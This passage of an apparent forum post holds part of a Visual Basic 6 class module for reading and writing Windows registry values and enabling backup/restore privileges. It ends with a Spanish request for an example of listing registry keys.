                            ReadValue = sData
                        Else
                            ReadValue = CStr(vDefault)
                        End If
                    Else
                        ReadValue = vbNullString
                    End If
                   
                Case REG_DWORD
                    Dim lVal As Long
                               
                    If (RegQueryValueEx(mKey, sName, 0, EnuRegType, lVal, 4) = ERROR_SUCCESS) Then
                        ReadValue = lVal
                    Else
                        ReadValue = CLng(vDefault)
                    End If
                   
                Case REG_BINARY
                    Dim ArrData() As Byte
                    If LenData > 0 Then
                        ReDim ArrData(LenData - 1)
                        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ArrData(0), LenData) = ERROR_SUCCESS) Then
                            ReadValue = ArrData
                        Else
                            ArrData = vDefault
                        End If
                    Else
                        ArrData = vDefault
                    End If
                     
            End Select
        End If
        RegCloseKey mKey
    End If
End Function

Public Function WriteValue(ByVal sPath As String, ByVal sName As String, ByVal vValue As Variant) As Boolean
    Dim LenData As Long
    Dim bData() As Byte
    Dim EnuRegType As rcRegType
    Dim lRet As Long

    hKey = GetKeys(sPath, sKey)

    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
   
        If sName = vbNullString Then
            EnuRegType = REG_SZ
        Else
            lRet = RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal 0&, LenData)
        End If
       
        If (lRet = ERROR_SUCCESS) Then
            Select Case EnuRegType
                Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
                   
                    LenData = Len(vValue)

                    If RegSetValueEx(mKey, sName, 0, EnuRegType, ByVal CStr(vValue), LenData) = ERROR_SUCCESS Then
                        WriteValue = True
                    End If

                Case REG_DWORD
                    If RegSetValueEx(mKey, sName, 0, EnuRegType, CLng(vValue), 4) = ERROR_SUCCESS Then
                        WriteValue = True
                    End If
                Case REG_BINARY
                    Select Case VarType(vValue)
                        Case (vbArray Or vbByte)
                            bData = vValue
                            LenData = UBound(bData) + 1
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, bData(0), LenData) = ERROR_SUCCESS Then
                                WriteValue = True
                            End If
                        Case vbString
                            LenData = Len(vValue)
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, ByVal CStr(vValue), LenData) = ERROR_SUCCESS Then
                                WriteValue = True
                            End If
                        Case 0
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, 0&, 0&) = ERROR_SUCCESS Then
                                WriteValue = VarType(vValue)
                            End If
                    End Select

            End Select
        End If
        RegCloseKey mKey
    End If
   
End Function


Private Function GetKeys(sPath As String, sKey As String) As rcMainKey
    Dim Pos As Long, mk As String
   
    sPath = Replace$(sPath, "HKCR", "HKEY_CLASSES_ROOT", , , 1)
    sPath = Replace$(sPath, "HKCU", "HKEY_CURRENT_USER", , , 1)
    sPath = Replace$(sPath, "HKLM", "HKEY_LOCAL_MACHINE", , , 1)
    sPath = Replace$(sPath, "HKUS", "HKEY_USERS", , , 1)
    sPath = Replace$(sPath, "HKCC", "HKEY_CURRENT_CONFIG", , , 1)
   
    Pos = InStr(1, sPath, "\")

    If (Pos = 0) Then
        mk = UCase$(sPath)
        sKey = ""
    Else
        mk = UCase$(Left$(sPath, Pos - 1))
        sKey = Right$(sPath, Len(sPath) - Pos)
    End If
   
    Select Case mk
        Case "HKEY_CLASSES_ROOT": GetKeys = HKEY_CLASSES_ROOT
        Case "HKEY_CURRENT_USER": GetKeys = HKEY_CURRENT_USER
        Case "HKEY_LOCAL_MACHINE": GetKeys = HKEY_LOCAL_MACHINE
        Case "HKEY_USERS": GetKeys = HKEY_USERS
        Case "HKEY_CURRENT_CONFIG": GetKeys = HKEY_CURRENT_CONFIG
    End Select
   
End Function


Private Sub SetBackupAndRestorePriviliges()
    Dim m_RestoreLuid   As Luid
    Dim m_BackupLuid    As Luid

    Call OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVLEGES Or TOKEN_QUERY, m_hToken)
    Call LookupPrivilegeValue(vbNullString, SE_RESTORE_NAME, m_RestoreLuid)
    Call LookupPrivilegeValue(vbNullString, SE_BACKUP_NAME, m_BackupLuid)
   
    m_TP.PrivilegeCount = 2
    m_TP.Privileges(0).pLuid = m_RestoreLuid
    m_TP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    m_TP.Privileges(1).pLuid = m_BackupLuid
    m_TP.Privileges(1).Attributes = SE_PRIVILEGE_ENABLED
   
    Call AdjustTokenPrivileges(m_hToken, 0, m_TP, Len(m_TP), 0&, 0&)

End Sub

Private Sub ResetBackupAndRestorePriviliges()
    Call AdjustTokenPrivileges(m_hToken, 1, m_TP, Len(m_TP), 0&, 0&)
End Sub

Private Sub Class_Terminate()
    bCancelSearch = True
End Sub



Si me puedes decir un breve ejemplo para listar las carpetas del registro

Saludos! espero ayuda detallada de como utilizar tu modulo. Muchas gracias por leer!